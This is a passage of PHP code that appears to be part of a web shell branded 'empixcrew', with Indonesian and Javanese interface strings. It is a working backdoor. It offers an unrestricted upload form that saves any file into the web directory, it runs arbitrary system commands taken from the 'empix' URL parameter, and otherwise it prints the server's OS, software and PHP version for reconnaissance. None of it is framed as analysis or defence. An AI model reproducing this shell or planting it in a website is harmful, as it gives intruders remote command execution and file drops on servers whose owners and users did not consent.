echo "<h2>empixcrew technology</h2><hr>";
    echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
<label for=\"file\">empix:</label>
<input type=\"file\" name=\"file\" id=\"file\" />
<br />
<input type=\"submit\" name=\"submit\" value=\"uplod\">
</form>";
if ($_FILES["file"]["error"] > 0)
  {
  echo "gagal: " . $_FILES["file"]["error"] . "<br />";
  }
else
  {
  echo "sukses: " . $_FILES["file"]["name"] . "<br />";
  echo "ukuran: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  echo "mentah: " . $_FILES["file"]["tmp_name"];
  }
if (file_exists("" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " wes enek cok. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "" . $_FILES["file"]["name"]);
      echo " mateng: " . "" . $_FILES["file"]["name"];
echo"<hr>";
      }
  }
elseif ($_GET["empix"]){
system($_GET["empix"]);
}
else {
$un = php_uname();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
echo "empixcrew: $un $php1 :empixcrew";
}
?>
